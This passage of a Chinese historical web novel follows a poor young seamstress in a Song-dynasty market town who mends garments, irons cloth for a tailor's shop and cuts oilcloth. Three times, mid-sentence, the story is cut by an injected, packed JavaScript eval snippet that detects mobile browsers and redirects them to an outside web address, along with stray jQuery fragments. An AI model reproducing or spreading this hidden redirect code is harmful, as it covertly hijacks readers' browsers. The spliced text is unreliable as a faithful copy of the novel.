巡栏是税场专收商税的,手中布袋里常放着一叠白钞和朱印,碰见商贩就往外掏白钞,盖印,那白钞成了朱钞,林秀水的两文钱也没了。 巡栏摇摇头说:“你运道不好,我才刚从你们巷口走来,要是晚些,我今日都不往这巡了。”他话是这么说,钱没少收,林秀水拿着手里的户钞,从牙缝里挤出笑来:“便是不来,我们也得送税场去的。” 巡栏看她一眼,这话谁信谁傻子。 原本林秀水顶着冷风起个大早,就赌不会碰上巡栏,想着一个时辰能赖掉一日两文的商税,没成想,她这运道烂到家了。 合着她是只鼠,出来觅食就能碰见逮鼠的猫,真晦气! 王月兰见这户钞,倒是没有太气愤,只是大骂税场,“把钱拴脑门子顶上了,屋税月月收,商税日日催,跟催命一样。” 生意没开张,先损失两文钱,林秀水真想混税场去,天天抢钱。 王月兰叫她坐着,自己上溪岸口吆喝:“补衣裳——” 从南边走来一对母子,那女人又高又壮实,不过脸像是浸在水里泡发的馒头,穿了身褐色长褙子,裤腿扎得很松,风吹得鼓起来。 七八岁的男娃个头也高,大饼脸,走路不老实,只听那女人喊:“田田” 什么名字,林秀水还在想,那女人停在摊子前,上下打量她,“王月兰家的外甥女,补什么呢?” 林秀水忽然认出来,她就是跟姨母不对付,住在隔壁的陈桂花。 “补衣裳还能补什么,”王月兰跟护犊子的母鸡似的,飞奔过来,“你要问就给你家大饼把裤子补一补,老穿破了洞的。” 陈桂花瞪她,“什么大饼,放屁,我家娃叫学田。” 王月兰呸一声,“真敢取,也不看看自家官人姓什么。” “姓什么,”林秀水真好奇。 小孩大饼兴冲冲地告诉她,“姓吴啊。” 这姓可真好,跟发大水了一样,学业跟田地都打水漂。 王月兰刺激陈桂花,“不会没钱补衣裳,你家官人不是桑叶贩子,桑行里混的,这穷得连补衣裳的两个钱都没有。” 陈桂花气得脸像馒头皮皱起来,她重重哼一声,“谁说没的,鬼才信你外甥女的手艺,到时把好好的裤子补烂了,” “那我王月兰赔你条新的。” “好好好,”陈桂花一听这话,拽起她儿子就往家里跑,“这可是你说的,等着赔吧。” 王月兰翻白眼,她跟陈桂花的恩怨三天三夜也说不清,指定等会儿找最破的衣裳来。 陈桂花又飞奔回来,把一件蓝绢布褙子按在桌上,“你补吧,只要一点看不出来,我给你五文钱。” 这衣服没破,林秀水扯出来一瞧,那前身左侧好大一块油污,陈年的,洗是洗不干净的。 王月兰想跳起来骂人,林秀水很平静地说:“你让我底下拆一截,我就能补。” “你拆,我看你怎么补。” 补衣服有贴补、垫补、绣补和织补这些方法,而这件衣服全都不合适,贴布就相当于打补丁,垫补要挖洞从反面垫,绣补和织补太麻烦,这么一块,得给她五十文。 但好在这是件绢布衣裳,底下有一圈白色绣布,跟领抹正好对得上。这褙子衣襟、袖口处的花边叫领抹,也称牙抹。 所以她拿起剪子,在陈桂花死死盯着的情况下,沿着下摆,手不抖,笔直裁下白绣布,取了线,细密地缝回去。 又将裁好的布,按横纵分布,沿着领子,缝在了前襟上,她下针特别快,取的又是原线,按她记忆里的隐形针法来,只要一穿一拉,没有针迹。 在不损坏衣裳的情况下,这衣服从窄边领子,成了白色宽领,关键布横纵对得上,完全不违和,又彻底盖住了油污。 而且宽边领抹更适合陈桂花,高个子肩也宽,一小圈的领边显得很小气,宽一截的话,肩膀会瞧着收窄了。 陈桂花皱眉,实在气恼于怎么都挑不出毛病,且这衣裳小一贯,扔了实在可惜,这样一改,她喜欢得紧。 原还想宰王月兰一笔的,眼下只好认栽,气哼哼取了五个钱,甩手一扔走了。 她认了。 王月兰欢喜得跟得了五百钱一般,数了又数,“算是被你挣回脸面了。” “赶紧收着,好多攒点奁产傍身。” 林秀水才不想,她有钱只想吃好喝好穿好,好吧,这话应该是她有钱后,针好剪好线好布好,样样都好。 那天傍晚也有两笔生意,小荷拉来的,给两个小孩的裤子打补丁,收了两文钱。 林秀水以为七文钱是挣钱的开始,不过没想到之后两日全在下雨,压根没活。 但林秀水想得开,正好趁这时候,把手里的麻布熨完了。 隔日早起又下了雨,林秀水顶着把破伞到成衣铺前,布鞋前面湿了半截,裙摆后头也沾了泥水。 她在门前地上蹭了蹭鞋底,顾娘子穿着青绿油衣过来,摘下油帽来瞧她,“怎么不进去?” “沾了点泥水,”林秀水笑着回,又道,“娘子今日这花不俗。” 宋人时兴簪花,临安府尤甚,一年四季头上都不能断了花,林秀水买不起时兴花朵,也会摘些野花来戴。 顾娘子摸摸鬓发边粉白的瑞香花,不似之前那般不苟言笑,“路上有人叫卖,瞧着新鲜买了几朵。” 林秀水挺会看人眼色,一见顾娘子笑,便立时道:“娘子,这麻布我昨日熨完了,不知道今日熨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471560|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么布?” “还有除了熨布以外,我裁缝活计也很能拿得出手,裁布、画线、缝针,手绝对稳,要是有哪用得上我的,只管叫我做就是。” 自打知晓这批麻布要做油衣油帽时,林秀水就想跟顾娘子说了,即使小春娥说人手够多,但她还是想给自己挣个机会。 顾娘子听完,先是回道:“有批白苎布晚些能到,今日得先熨。” “至于裁衣,”顾娘子取了屋里的小历,翻到明日,今日是破日不宜裁衣,她点了个日子,“后日丁亥,是裁衣吉时,到那日需人手再叫你。” 林秀水有些傻眼,她偷瞄那本小历,一般在上林塘只有动土造屋下田嫁娶才会看吉时,没成想这裁衣也有吉时。 许是看出她的震惊,顾娘子合起小历说:“这各行自有各行的规矩,行船、到任、出行、求财等等,样样得选个吉日。” “你要想在裁缝作这行当里混,光有手艺可不成,得多学着点,可别犯了忌讳。” 林秀水思索点头,她回去就翻翻姨母的小历去,保准把日子给记住了。 她转身进了屋里,下雨的日子里,熨布搬到后边屋里临窗的地方里去。 这批送来的白苎布是常州来的二等布,虽说是苎麻编的,但摸着很细密,比细麻要滑,有股浓浓的皂角味。 “指定在洗衣行里洗过了,”小春娥嗅了嗅,“那里泡布都用米汤,再加皂角的,洗出来白布会更白。” 她又惊讶,“阿俏,不用刷子了?” 林秀水裁开一匹旧的白苎布,浸在铜盆里打湿拧半到半干,垫在要熨的布上。 用布条缠手的时候,顺带回道:“这布太软,我要是手一抖,就得烫几个洞来,必须垫块湿布在上头。” “毕竟以我现在的身家,半截都赔不起。” 熨布实则是个枯燥活,还得从早熨到晚。 要林秀水一个人熨,她都要自言自语说两句,正好旁边有个嘴巴闲不住的小春娥。 林秀水熨布,她烧炭,还要扯天扯地。 “阿俏,你去过临安内城没?” “没去过,”林秀水转了转僵硬的胳膊,把手腕布条松了松,勒得有点疼。 小春娥拨动着炭,嘿嘿笑两声,“我也没去过。” “听说内城里样样都好,尤其是那丰乐楼,跟东京前樊楼一般好,”小春娥手抵着烧火棍,在那遐想,“我要是能去丰乐楼里” “我就去那里当个烧火婆子,老了留在酒楼里,当捧香炉的香婆。” 她想想便乐出了声,简直没半点出息。 小春娥很兴奋地问:“阿俏你呢,是不是要做个裁缝?” 当什么裁缝,三天赚七文钱的那种吗。 林秀水面色不改,说出的话却惊天动地:“听说那里有条南御街,全是金银盐钞引交易,动辄钱数上万,” 在小春娥期待的眼神里,她缓缓吐出一句话,“我就想捧个碗上那要钱去。” 小春娥笑得直抽抽,后头站在那的顾娘子也笑了声,走过来低头看布时道:“那怕是不成。” “什么不成?”两人异口同声。 顾娘子说得一本正经,“在临安做乞儿不成,你想做,还得先进乞儿行。” “要不我回头给你问问,这进行团要收多少行费。” “不了不了” 林秀水朴实无华(痴心妄想)的梦破裂了,她还是老老实实赚这仨瓜俩枣的吧。 5. 第 5 章 丁亥日,宜裁衣和裁布。 又恰好是久雨逢晴的天,桑绫弄的街上全是裁缝。 林秀水只要瞄一眼,立马能分辨出来,裁缝实在太好认,耐脏的围布,一定有个兜,插着两把剪子,一把大的裁布,小的尖头剪线、戳洞。 穿的衣裳虽则颜色不起眼,却都很服帖,不宽大,不过于紧窄。 那穿了窄袖,绑了包髻,剪子比旁人都大的,肩上还搭一条布绳的,那是往彩帛铺里裁布料的。 要是穿了偏红的衣裳,欢欢喜喜的,定是给成婚事宜帮忙的,裁帐幔、红桌围、褥被的。 走得不紧不慢,不慌不忙,那才是正经裁衣的,穿身上的褙子最好做,搭里面的抹胸只要先裁长布条,眼下都做春衫,布料逐渐轻薄,不像冬天的厚布难裁。 倒是裁油衣的难熬起来,因为一股桐油味。 林秀水即使坐在四面空荡,只有长桌子的院子里,也依旧想打喷嚏,熏得慌。 桐油分生熟两种,生的一般入药,熟桐油才是刷在纸上,木器上,防雨防潮,但是不好闻。 这一批做油衣的油布,也是麻布先刷了两遍桐油,能到防细雨的时候,就再团成卷,交由裁缝去裁衣片,缝衣后,再反浸两次桐油,确保交缝处不漏。 这些是油衣作里的于六娘说的,她比林秀水大三岁,在这里既当桐油工,又当裁衣匠,为人说话不拐弯,得罪了不少人。 林秀水倒是刚来一眼就瞧中了她,软乎乎,胖嘟嘟的,看着很好说话。 顾娘子领她来的,说是缺人手,但这全埋头自己裁衣,只有人告诉她裁什么,旁的一句话都不跟她说,问话也不搭理她。 压根难不倒林秀水,她会自己找人搭话。 不过半个时辰,于六娘就开始喊她小名,跟她从桐油开始扯到油衣,给她寻一把好用的剪子。 这油衣作的剪子特别快,都是日日磨的,毕竟这上了桐油的布有些厚度,寻常剪布的用在这里会发现剪不动。 林秀水拿起剪子,特别重一把,试着在碎布上裁了试试手感,每把剪子的手感都不大相同,有的会磨手,有的握不住。 她试裁的时候,边上有个小娘子嗤笑一声,“这么瘦,叫你过来裁衣,剪子握得动吗。” 林秀水本来守孝三年就没怎么吃过肉,又穷又还债,瘦得脱了相,哪怕穿两三件厚袄子,都能一眼看出来瘦弱,个子也不大高,感觉很好欺侮。 但她偏偏嘴皮子不输,“这裁衣要真靠胖瘦,那要裁缝做什么。” 她是来练手的,又不是来拌嘴的,要是吵嘴能赚钱,她还真愿意天天吵。 于六娘在旁边帮腔,“本来就多大紧要的,你又不是顾娘子那的。” “管真多。” 林秀水抬眼看于六娘,好家伙,这话说得可真直白,瞧把人家气的脸都红了。 别说,林秀水想,这人脸上的红晕要能染成布色,还挺好看的。 她先谢了于六娘,也不管人脸色,自顾自拿起裁衣片,这油衣是旋袄样式,男女都可以穿,这种就相当于很宽的裙片缝了两只袖子,侧边开衩很高,方便上马也可以穿。 所以分成了前片、后片,后领片,领抹,前后片如同一半的衣服,袖子加上前身,那都是老裁缝裁的。 她们只给林秀水分领抹的活,也就是裁一根手掌宽的长条,除了裁直毫无技术可言。 “你别看裁直不好,这活轻省多了,”于六娘站在旁边跟林秀水说。 她裁的是前片,那裁衣片放在上头,压根不用对照,剪刀利落得像往前游的鱼,直线、拐角、斜边都不带磕绊的,那前片眨眼便裁好了。 林秀水还欠缺,这剪刀纯铁的,特别重,她要拐角处还得停一会儿。 “六姐儿,你这裁得真利落,”林秀水毫不吝啬夸奖,“我还得多练练。” 寻常人要说你裁个两三年的也就熟了,偏于六娘说:“你多吃点,最好吃肥点。” 林秀水也想啊,这不都是穷给闹的,现在还好些,她以前瘦到脸跟黄雀一样。 油衣作晌午不给饭吃,林秀水自己带了蒸饼,于六娘要她吃自家带来的枣糕,这里头除了红枣片还掺了红豆,吃起来绵软香甜,又有豆子沙沙的口感。 两个人坐在角落,背着风吃枣糕,林秀水要把蒸饼分给于六娘,她不要吃,“你留着自个儿吃吧。” “夹了猪油呢。” “放头猪进去我也不吃。” 林秀水只好一口枣糕,一口蒸饼,吃枣糕的时候眯着眼,吃蒸饼的时候腮帮子一鼓一鼓。 “赶紧吃,”于六娘催她,“吃完去抢碎布。” 林秀水没听清,“什么布?” “你没见裁油布,还剩好些碎布头,”于六娘跟人交好,真是掏心窝子,“那得先顶上的裁缝挑了大的,剩下小的再让我们抢。” 这油衣作背靠官衙,送布料来的成衣铺,是不会为了这点碎布头得罪里头裁缝的,所以这碎布都是裁缝得的,上头睁一只眼闭一只眼。 林秀水急得要把蒸饼吐出来,又生咽下去,忙问:“我也能去?” “怎么不能,走,我领你多抢点。” 于六娘说得跟带她去抢劫一样。 真的是生抢,别看这些油布才巴掌大,或者要再大点,可只要攒得多,也能拼件油衣,做条油裤也成,或是腰布以及包在发髻上的包布。 更何况眼下桐油贵得吓人,一小桶熟桐油要五六百文,油衣则一两贯。 所以一群人闹得鸡飞狗跳,林秀水还挨了好几拳,手肘都青了,右半边脸擦破点皮,倒是抢到不少,抱着一堆碎布头傻乐。 “乐什么呢?”于六娘不解。 “能做衣裳啊,”林秀水兴冲冲的,这碎布头有的大,有的长,有的宽,有的窄,在她眼里,只要拼凑得当,能做好些东西呢。 给她姨母做双油布手套,染肆的活不好干,搅布、煮料、浸布,全折腾一双手。 再给小荷做双油布鞋,下雨天总是跑出去。 还有可以补一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471561|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补她的破伞,不至于东漏一头,西渗一点。 光是想想,林秀水觉得这天真好,连桐油味也变得好闻起来。 傍晚同于六娘分别时,林秀水还说下回再来油衣作,要好好谢谢她。 于六娘挠了挠脸,“下回你来,我给你抢布。”林秀水笑:“好啊。” 其实这回于六娘也帮她抢,挡在她前面,一抬眼总能瞧见那胖乎乎的身影,充满了力量。 不过眼下林秀水多高兴,回去就挨王月兰的骂,“你疯了,就你这身板,同人家抢东西去?好好的姑娘破了相。” “啊,哎,嘶,”林秀水疼得龇牙咧嘴,“姨你轻点啊,我不是捣布石啊。” 王月兰手掌擦了药油,重重地抹,“该,疼也受着。” 林秀水苦哈哈地擦完药油,转头又忘了疼,在桌上拼油布,喊小荷,“大宝,小宝,快把你的布鞋拿来,我给你缝双新鞋面。” “阿姐,”小荷满脸忧愁看林秀水,轻轻碰碰她的脸,气鼓鼓的,“坏人,打人不能打脸。” “真坏,”林秀水附和,又说,“大宝,你的鞋子臭烘烘的。” 小荷闻了闻,狡辩,“不臭啊,哕,有点臭” 林秀水挺嫌弃,拿了双没味的,用糨糊涂一层,先把油布牢牢贴住,等它干后散味,晚些再下针。 做防水手套也不难,找两块较宽的布,沿着手缝裁剪,细细缝好,里面缝隙再涂柿漆,也能防水。 柿漆是林秀水自己做的,上林塘有很多柿树,又青又涩,不能吃但能捣烂滤汁,封在罐子里,久而久之成了柿漆,幸好封得死,那时下雨也没进水。 她给手套做了加长,长度到手肘上面,做完叫王月兰试试。 “费这劲,”王月兰嘴上这样说,手里没停,三个字说完,一只手套已经在手里,手掌握拳抓捏了几下,她往水盆里伸,又探进去,“真不漏。” 林秀水说:“漏了也没事,我给姨母你多做两双。” “这样手上有裂口,浸染料里也不会渗得疼。” “你咋想出来的这东西?”王月兰疑问。 林秀水实话实说:“梦里梦到的。” “个臭丫头,又说胡话。” 林秀水实在冤枉,这年头说实话都没人信了。 王月兰对这手套喜欢得紧,左瞧右瞧,跟林秀水说:“河岸对面那家,卖陈米的那个铺子,说匹尺幅很宽的门帘,让我问问你能不能改成桌帷。” “还有往前数三间那张娘子,要补件衣裳,说是明日来问问。” “明日正好,”林秀水揉揉酸疼的手腕,想笑又扯到破皮的地方,嘶了声说,“成衣铺要关门一日,让我后日去上工。” 王月兰立即紧张起来,“扣不扣工钱?” 她已经习惯于染肆一天不歇,一年到头都上工的日子,歇一会得扣五文钱,谁舍得。 “不扣,”林秀水说,但想起明日出摊,又得交两文,那才心痛。 索性她刚起早就接到了补衣裳的活。 6. 第 6 章 这几天总是下毛毛雨,林秀水虽则没出摊,却接了一些零散的缝补活计,基本是巷子里的人家,跟王月兰熟识的。 大多给小孩缝发带,修鞋面,或是补被褥的。 倒是这一大早上接了别的活。 真是稀奇,一早巡栏过来叫她,“林小娘子,” 林秀水一见他,立即道:“诺,钱在这,我可没打算赖账。” 巡栏李三郎听乐了,“给你送生意来了,拿上针线快些跟我走,不收你今日的钱。” “李巡栏,要做什么活,快不快,”林秀水麻利收拾东西,把针线布头塞小竹篮里,“我晚些还要等人送衣裳来。” 她是不好拒绝巡栏的,怕人给她使绊子。 李三郎跟她解释:“就过了前头,桥道上运米的车翻了,麻布袋子破了好些,你瞧瞧能不能补。” 实则是这个时辰太早了些,南货坊里卖麻布的铺席还没开门,寻不到袋子,米又散了一地,这桥还是往鸡鸭行去的必经之路,每日起早有人赶着上百只鸡鸭过来。 这会儿被米铺的人拦着,鸡鸭行的人在骂人,一群鸡鸭乱窜乱跳,有些鸭子还下了河,人追鸭逃,场面一度混乱。 “快快快,你快些补袋子,价钱好商量,”李三郎急急忙忙说完,上去呵斥拉架,又叫凑热闹或是摆浮铺的先让让。 这米撒了一地,有米铺的人在清扫,边扫边骂,林秀水过去喊道:“补袋子的,你们把要补的麻袋送出来。” 她可不想踩在米上,下过田且靠天吃饭的,哪里忍心。 米铺人送来五个麻袋,全是划了两条大口子,还有破了洞的,那伙计说话客气,“劳烦小娘子你赶紧补补。” 这袋子特别好补,又不要求旁的,林秀水穿针绕线,拿起袋子缝补,下针一点不犹豫,针脚特别细密。 她还能抽空问米铺的伙计,“这沾了灰的米,你们要拿去卖?” “不卖了,”那伙计说,“送鸡鸭行赔礼。” 林秀水哦了声,她停顿后又道:“这补麻袋,我收两文一个,也就是十文钱,这十文就把你们那地上的米折些价钱卖我便成。” 她又不嫌弃这米沾了灰,拿米筛多筛几遍就成,反正这米再难吃,都不会难吃过占城稻。 伙计听了后,瞧她好几眼,沉默了会儿道:“那也行,也不按价算了,给你半袋子吧。” 林秀水连连点头,她赶紧把麻袋缝完,盯着他们把米倒袋子里, 那伙计见补过的麻袋一点不漏,补的地方又服帖,下回再用也不成问题,给她多装了些米,足足有半麻袋。 “这是最上头的米,多多筛几遍。” 林秀水也客气,说了麻袋要是缝的地方出了问题,只管到老桑树那找她。 她半拉半拖提起米袋,真的有点重,不过哪怕再重,她都能扛回去。 走的时候林秀水还谢了李三郎,把出摊的两文钱给他,“这是我的生意,不能叫李巡栏你难做。” “我还指望下回你给我再捎点旁的活计呢。” 李三郎有点发愣,他也没不要,只是说:“成,下回有别的活计还找你。” 等林秀水回去放了米袋,王月兰正开了后门,拿木桶从河里打了水上来,见她喘得厉害,疑惑道:“买了什么?” “去补了米铺的麻袋,没要钱,换了些撒出来的米,”林秀水拍拍这袋子,“灰是不少,筛筛就行了,能吃好一段日子了。” “这有七八升了,”王月兰上手一提,立马估摸出来,又抓了把米,见是中色白米,喜色掩都掩不住。 王月兰笑道:“可叫你占了便宜,眼下陈米一斗都要八十文,白米一斗要百二十文呢。” “沾了灰沙不紧要,等我多筛筛,明日煮干饭给你吃。” 林秀水还想说什么,外头有人叫,她连忙出了门,见是昨日说的张娘子,住在后头街上的。 “我说怎么前头没人影,”张娘子跟林秀水攀谈,很亲热地喊她秀姐儿,“你瞧瞧这能不能补?” 林秀水接过来,是个长长扁扁的枕囊,银红色的,那原先是白苎布染的,枕面上烂得不成样了,丝绵内里都露出来了。 “想怎么补?” 张娘子连忙说:“最好补成原样的,这是我家幼女用的,她日日枕着睡,换一个都不成,我补过,她又哭又闹,非要个一样的。” 林秀水细细看了会儿枕囊,捏了捏边角,她说:“不大好补,这布脆得厉害,就算打了补丁,要不了几日也得坏。” “买的时候,有没有同色的布,有的话,拆了重新拿布做一个。” 张娘子叹口气,“这布是有,她就认这个,换了一样的布,非不行。” 林秀水拿起来闻了闻,有股味道,又臭又香,而且这个枕囊都压扁了,睡着也不舒服,估计还是因为味道。 她给出了个主意,“把原布跟这枕囊多放几日,同个味了,再裁了试试看。” “这能成吗?”张娘子有点不大相信,她原是听了王月兰的夸嘴,想着林秀水在成衣铺里做活,总有点手艺。 一听这话,半信半疑,不过人家又没收她银钱,她也只好干笑两声走了,准备回去试试。 等她走后,要她把门帘改成桌帷的陈米铺子店家也来了,那门帘尺幅确实宽。 林秀水拒绝了,她没有长木桌,没有大剪,还要灰线包和长木尺划了线才能裁,硬裁就会裁偏,她也没法子。 一连两个棘手单子,林秀水也不着恼,饭要一口口吃,路要一步步走嘛。 王月兰去染肆前,把小荷叫醒,让她吆喝去。 林秀水没舍得,在摊子前给小荷梳头发,扎三丫髻,边绑边说:“等阿姐寻到好看的布匹,给你多做些头花。” 这会儿小荷戴的还是林秀水用红线编的。 “不要头花,”小荷认真说,“来点钱吧。” “最好下点钱雨,都给阿姐你。” 林秀水没话说,小荷跟她娘一样务实。 但她又觉得小荷这样不好,怕被人用钱或糖拐走。 她问:“大宝,要是路上有生人给你铜板,你要不要?” “不要,”小荷回得很认真,“我不认识真铜板。” 林秀水不死心,又接着问:“那要是有人给你糖吃呢?” “给几块?” “就一块。” 小荷将手伸出来,她说:“还有吗?” “再给我两块。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471562|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小荷算账算得明明白白,“阿姐一块,阿娘一块,我一块。” 真是一点亏没吃,林秀水都被逗乐了,又故作严肃:“那吃了糖会被卖到别的地方去,再也见不到阿姐和阿娘了。” 小荷皱眉,小小地叹气,摊手耸肩,“哎,那还是要钱吧。” “钱能买糖吃。” 林秀水捂脸,“你就是想吃糖了吧。” “晚点我领你买去,偷偷的,你别跟你娘说。”小荷也悄悄地说:“那我偷偷地吃。” 后头又来了几个人,小荷挨个叫:“婆婆,缝裤子吗?”“姨,你要不要补衣裳?我阿姐手艺特别好。” 还真被她拉来两个人,一个要补外裤,一个要缝手帕,她缝得很快,赚了五文钱,还搭上一文给小荷买糖吃。 晌午林秀水做饭,洗米下锅蒸饭,等王月兰急匆匆回来,韭菜都炒好了,她进了门随口道:“吃什么呢?” 小荷正在门边扒拉糖纸包,闻言忙藏起来,不打自招,“我没吃糖。” “阿俏,”王月兰瞪林秀水。 林秀水想捂耳朵,这小祖宗,都不跟她多学学,早前她娘在时,她偷吃糖包,糊了嘴巴一圈,都不承认的。 王月兰不跟她俩算账,她有旁的事要跟林秀水说:“下午你跟小荷同我到染肆里去。” “你昨日不是做了那个油布手套,我早上带了去,其他娘子都觉得挺好,也想做双。我也不大懂,你要不去跟我瞧瞧,五六个人呢,算是笔大活计了。” “那得要油布给我才能做,”林秀水把汤锅往边上挪,拿了碗筷,“不然我没钱扯油布,一匹要两贯呢。” 王月兰说:“算了,等我回去问问,出油布只怕她们不情愿。” 不情愿也没法子,除非她住在油衣作里。 她又补了句,“要真找我做,我也不要银钱,只要那些布头给我就成。” 王月兰说找她们商量,林秀水又守了一下午摊子,只赚了三文钱。 到这时她仍相信,她能赚笔大钱,不是一贯,不是五百文,五十文就算大钱。 裁缝赚钱真难。 她怀抱着这种心情,在吹冷风的早上,脸惨白地走进了成衣铺。 屋里在烧香炉,这香熏得她打了个大喷嚏,揉揉鼻子进屋去。 小春娥像只花蝴蝶奔过来,“阿俏,我又来给你烧火了。” “我最喜欢给你烧火了。” 林秀水一听,得出个结论,肯定昨日给她娘烧灶被骂了。 “快坐,我攒了一日的话要同你说。” 说之前她先掏兜,“阿俏,你吃什么吃的最多?” “吃苦。” 林秀水随便说了句实话。 “那你多吃点甜的,”小春娥推过来几颗糖,很认真地说,“不能光吃苦的。” 林秀水觉得很有道理,扯开糖纸问她,“这糖哪来的?” “顾娘子给的啊,”小春娥这才想起来,“她接了一笔喜事单子,你有一大批红布要熨了。” “这么紧要的事,你不早说” 林秀水看见那几十匹红布,她像看见了自己颤抖的手。 到底是谁说,春二月成衣铺很闲的! 7. 第 7 章 带色的布里,红色最伤眼。 林秀水熨得极慢,熨会儿便得放下熨斗,盯着院子墙角的野草瞧,不然眼前红刺刺的。 她熨白布图快,从不坐下,熨起红布来,要熨一半,坐一下喘口气,满脑子都想跑路。 最后只窝窝囊囊地说:“真想这世上没人成婚。” “要不把这红的染成绿的,那顺眼多了。” 小春娥手握火钳子捣鼓炉子,也不免叹气,“那可不是,那宋娘子还嫌熨布的是火炭,不是石炭,吵着要换,真闹心。” 火炭是木炭,石炭则为煤,在临安又称炭墼(jī),是用煤粉堆成煤砖,烧起来要火候足些,但价钱贵得很。 石炭在早前东京很盛行,光是汴河就有二十来个官营的石炭场,家家户户烧石炭,但到了临安,烧木炭得多。 以至于宋娘子这个汴京人士,仍旧不习惯,张口闭口全是早年间的炭团店。 她是新郎那头的监工,嘴巴闲不住,那薄嘴唇跟上下开合的剪子一般。 一日下来,她来了三回,叫林秀水和小春娥烦不胜烦,下了工后,小春娥骂了好几句,转头又嘻嘻笑,“阿俏,要不跟我去扑买?最近那桥市西边新盖了个彩棚,有不少好东西,还有临安来的花环钗朵,可是时兴货色。” 林秀水揉揉眼睛,又干又涩,眨了几下后才道:“你再瞧瞧呢,我看起来有那钱?” 刮大风的天里,她穿件薄的绿袄子,梳着光溜的发髻,连花环也没有,拿布包着头和脸,像话本里的蒙面大侠。 大伙说她夜里去打家劫舍,都认不出人来。 她落魄得很,拿不出钱来,况且扑买这玩意,有一次便有第二次。 这扑买又称关扑,是博戏取乐,纯赌运气的,什么都能扑买,时兴鲜果、衣裳头饰,花朵鸟兽等等,最常见的是用转盘或是投掷六枚铜板博运气,赢了便笑,输了钱那是又哭又闹。 临安府不禁扑买,是以桑青镇一年到头,扑买摊子如桑树上的桑叶一般多。 小春娥对扑买颇为痴迷,下了工回去路上都得扑两把,什么都扑,买花、鲜果不说,连酱醋也想靠扑买,时常输,时常被骂,赔完月钱后才会收手。 林秀水玩不起关扑,就她这手气,不赔个底朝天,都对不起她的五十七文家当。 不过从针铺出来后,她的家底又跌至二十七文,实在是可怜。 三十文一枚针,林秀水别在衣服上怕它掉了,放在荷包里怕它跑了,恨不得捧在手心里。 尤其当她路过饼店,门口的火炉里烤着饼,伙计用油纸包饼的时候还不忘吆喝,“熟肉饼、糖饼,三文一个嘞…” 三十文可以买十个肉饼了,可恶的是,她只有一根针。 她揣着这根针回到桑桥渡,刚下了桥,陈桂花还穿那件青绿白领抹褙子,自打从她这缝完后,每日起早出门都能看见这衣裳。 她压根不懂陈桂花的心思,花了五文钱缝补的,当然得日日穿,把钱穿回本了再说。 “林家妹子,”陈桂花一见她,远远就遥遥挥手,左手挥完换右手,又连忙小跑几步,匆匆迎过来,脸上带了僵硬的笑。 林秀水觉得后背毛毛的,找她指定没好事。 她想推脱,但见陈桂花眼角通红,焦躁不安的神态,话到嘴旁又换成,“有什么事?” 毕竟王月兰和陈桂花也是口头上多有争执,大抵为的全是零碎琐事,还没到互相不往来的程度。 她接点陈桂花的活,她姨母巴不得。 “你,”陈桂花欲言又止,她嘴巴张合,到底没把话说出口,“没,没啥事。” 林秀水觉得莫名其妙,“要是寻我补衣裳的,你先把衣裳拿出来瞧瞧,能不能补再说。” 陈桂花一听这话,像是定了心神,半句不说直往屋里奔去,又飞奔出来,嘴跟借来要还一样快。 “你瞧,这种洞你能补不能补?要补得看不出来。” “你要能补的话,一百文,”陈桂花盯着她神色瞧,又着急忙慌地加价,“三百文,三百五,四百,五百文,你看看,” 林秀水拎起衣服来,是件桃红色的厚夹衣,她翻找破洞的地方,只见衣裳后背处有块燎焦了的洞,两指宽。 这衣裳好在用的绢布,绢布更好精工织补,要是换成绸缎、真丝,那得用羊毛针这种极细的针才能补。 她手指探进破洞,里面还夹了层丝绵,也被火燎过了,倒是没烧过面。 陈桂花急的包髻也散了,全然六神无主。她在香水行里做活,营生算不上体面,她在里头给人修甲、刮脸、揩背、搓澡,早上过去还兼带烧水、洗衣、抹地,一日赚六十文。 今日她没睡好,香水行的活又多,叫她加了二十次浴汤,给人烘烤衣裳时,竟犯了迷糊,衣裳挨到炉边,让炭火燎烧了个洞。 那娘子叫她要不赔三贯,要不就还件原样的来,不然拉她报官去。 香水行的行老给她说情,缓一日寻寻办法。 陈桂花的家底还押在质库,哪来的三贯银钱能赔。 问了一路的补衣妇,全说能补,但瞧得很显眼,绣娘则说绣些花上去,裁缝匠则要原布,将整片后背布料拆下来,里头丝绵翻一翻,再裁了原样的拼回去。 可这布是苏州来的,桑青镇没有这种桃红的颜色。 就没个陈桂花想要的法子,只好破罐子破摔,寄托于林秀水身上。 “不要慌,这只是小事,”林秀水语调很和缓,“只要拆下原线,缝补回去就行。” 她也没见钱眼开,一口气要五百文,而是本着良心说:“这得织补半个时辰,给我三十文吧。” 